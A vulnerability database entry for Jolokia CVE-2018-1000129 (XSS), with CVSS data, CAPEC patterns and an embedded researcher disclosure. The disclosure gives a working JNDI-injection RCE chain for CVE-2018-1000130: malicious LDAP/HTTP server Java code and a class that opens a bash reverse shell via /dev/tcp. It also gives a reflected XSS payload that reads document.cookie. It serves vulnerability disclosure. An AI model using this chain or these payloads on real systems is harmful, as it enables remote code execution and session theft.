Vulnerabilities > CVE-2018-1000129 - Cross-site Scripting vulnerability in Jolokia 1.3.7

047910
CVSS 4.3 - MEDIUM
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE

Summary

An XSS vulnerability exists in the Jolokia agent version 1.3.7 in the HTTP servlet that allows an attacker to execute malicious javascript in the victim's browser.

Vulnerable Configurations

Part Description Count
Application
Jolokia
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Embedding Scripts in Non-Script Elements
    This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.
  • Embedding Scripts within Scripts
    An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.
  • Cross-Site Scripting in Error Pages
    An attacker distributes a link (or possibly some other query structure) with a request to a third party web server that is malformed and also contains a block of exploit code in order to have the exploit become live code in the resulting error page. When the third party web server receives the crafted request and notes the error it then creates an error message that echoes the malformed message, including the exploit. Doing this converts the exploit portion of the message into to valid language elements that are executed by the viewing browser. When a victim executes the query provided by the attacker the infected error message error message is returned including the exploit code which then runs in the victim's browser. XSS can result in execution of code as well as data leakage (e.g. session cookies can be sent to the attacker). This type of attack is especially dangerous since the exploit appears to come from the third party web server, who the victim may trust and hence be more vulnerable to deception.
  • Cross-Site Scripting Using Alternate Syntax
    The attacker uses alternate forms of keywords or commands that result in the same action as the primary form but which may not be caught by filters. For example, many keywords are processed in a case insensitive manner. If the site's web filtering algorithm does not convert all tags into a consistent case before the comparison with forbidden keywords it is possible to bypass filters (e.g., incomplete black lists) by using an alternate case structure. For example, the "script" tag using the alternate forms of "Script" or "ScRiPt" may bypass filters where "script" is the only form tested. Other variants using different syntax representations are also possible as well as using pollution meta-characters or entities that are eventually ignored by the rendering engine. The attack can result in the execution of otherwise prohibited functionality.

Redhat

advisories
  • rhsa
    idRHSA-2018:2669
  • rhsa
    idRHSA-2018:3817

Seebug

bulletinFamilyexploit
descriptionRecently, during a client engagement, Gotham Digital Science found a couple of zero-day vulnerabilities in the Jolokia service. Jolokia is an open source product that provides an HTTP API interface for JMX (Java Management Extensions) technology. It contains an API we can use for calling MBeans registered on the server and read/write their properties. JMX technology is used for managing and monitoring devices, applications, and service-driven networks. THE FOLLOWING ISSUES ARE DESCRIBED BELOW: * Remote Code Execution via JNDI Injection – CVE-2018-1000130 * Cross-Site Scripting – CVE-2018-1000129 AFFECTED VERSIONS: 1.4.0 and below. Version 1.5.0 addresses both issues. Before we start, a little humour - if someone thinks that the documentation is useless for bug hunters, look at this: ![](https://images.seebug.org/1524107711818) ### REMOTE CODE EXECUTION VIA JNDI INJECTION CVE-2018-1000130 The Jolokia service has a proxy mode that was vulnerable to JNDI injection by default before version 1.5.0. When the Jolokia agent is deployed in proxy mode, an external attacker, with access to the Jolokia web endpoint, can execute arbitrary code remotely via JNDI injection attack. This attack is possible since the Jolokia library initiates LDAP/RMI connections using user-supplied input. JNDI attacks were explained at the BlackHat USA 2016 conference by HP Enterprise folks, and they showed some useful vectors we can use to turn them into Remote Code Execution. If a third-party system uses Jolokia service in proxy mode, this system is exposed to remote code execution through the Jolokia endpoint. Jolokia, as a component, does not provide any authentication mechanisms for this endpoint to protect the server from an arbitrary attacker, but this is strongly recommended in the documentation. STEPS TO REPRODUCE: For demonstration purposes we’ll run all of the components in the exploit chain on the loopback interface. The following POST request can be used to exploit this vulnerability: ``` POST /jolokia/ HTTP/1.1 Host: localhost:10007 Content-Type: application/x-www-form-urlencoded Content-Length: 206 { "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi" } } ``` We need to create LDAP and HTTP servers in order to serve a malicious payload. These code snippets were originally taken from marshalsec and zerothoughts GitHub repositories. ``` public class LDAPRefServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) { int port = 1389; // Create LDAP Server and HTTP Server if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) { System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); System.exit(-1); } else if ( args.length > 1 ) { port = Integer.parseInt(args[ 1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); System.out.println("Starting HTTP server"); HttpServer httpServer = HttpServer.create(new InetSocketAddress(7873), 0); httpServer.createContext("/",new HttpFileHandler()); httpServer.setExecutor(null); httpServer.start(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this.codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "ExportObject"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } System.out.println("javaCodeBase: " + cbstring); e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } } ``` ``` public class HttpFileHandler implements HttpHandler { public void handle(HttpExchange httpExchange) { try { System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()); InputStream inputStream = HttpFileHandler.class.getResourceAsStream("ExportObject.class"); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); while(inputStream.available()>0) { byteArrayOutputStream.write(inputStream.read()); } byte[] bytes = byteArrayOutputStream.toByteArray(); httpExchange.sendResponseHeaders(200, bytes.length); httpExchange.getResponseBody().write(bytes); httpExchange.close(); } catch(Exception e) { e.printStackTrace(); } } } ``` After that we need to create an ExportObject.java with reverse shell command. The bytecode of this class will be served from our HTTP server: ``` public class ExportObject { public ExportObject() { try { System.setSecurityManager(null); java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/127.0.0.1/7777 0>&1`"); } catch(Exception e) { e.printStackTrace(); } } } ``` The LDAP Server should be run with the following command line arguments: `http://127.0.0.1:7873/#ExportObject 9092 ` where: http://127.0.0.1:7873/ is the URL of the attacker’s HTTP server ExportObject is name of the Java class containing the attacker’s code 9092 is the LDAP server listen port Start an nc listener on port 7777: ``` $ nc -lv 7777 ``` After the reuqest shown in step #1 is sent, the vulnerable server makes request to the attacker’s LDAP server. ![](https://images.seebug.org/1524107802681) When the LDAP server, listening on the port 9092, receives a request from the vulnerable server, it creates an Entry object with attributes and returns it in the LDAP response. ``` e.addAttribute("javaClassName", "ExportObject"); e.addAttribute("javaCodeBase", "http://127.0.0.1/"); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", "ExportObject"); ``` When the vulnerable server receives the LDAP response, it fetches the ExportObject.class from the attacker’s HTTP server, instantiates the object and executes the reverse shell command. The attacker receives the connection back from the vulnerable server on his nc listener. ![](https://images.seebug.org/1524107828669)   ### CROSS-SITE SCRIPTING CVE-2018-1000129 The Jolokia web application is vulnerable to a classic Reflected Cross-Site Scripting (XSS) attack. By default, Jolokia returns responses with application/json content type, so for most cases inserting user supplied input into the response is not a big problem. But it was discovered from reading the source code that it is possible to modify the Content-Type of a response just by adding a GET parameter mimeType to the request: ``` http://localhost:8161/api/jolokia/read?mimeType=text/html ``` After that, it was relatively easy to find at least one occurrence where URL parameters are inserted in the response ‘as is’: ``` http://localhost:8161/api/jolokia/read<svg%20onload=alert(docu ment.cookie)>?mimeType=text/html ``` With text/html Content Type, the classic reflected XSS attack is possible. Exploiting this issue allows an attacker to supply arbitrary client-side javascript code within application input parameters that will ultimately be rendered and executed within the end user’s web browser. This can be leveraged to steal cookies in the vulnerable domain and potentially gain unauthorised access to a user’s authenticated session, alter the content of the vulnerable web page, or compromise the user’s web browser. ![](https://images.seebug.org/1524107896465) ### AND AT THE END, advice for bug hunters – read documentation! Sometimes it’s useful! recommendation for Jolokia users - update the service to version 1.5.0. ### CREDITS Many thanks to Roland Huss from the Jolokia project for working diligently with GDS to mitigate these issues.
idSSV:97237
last seen2018-06-08
modified2018-04-19
published2018-04-19
reporterKnownsec
titleJolokia Vulnerabilities - RCE & XSS(CVE-2018-1000130,CVE-2018-1000129)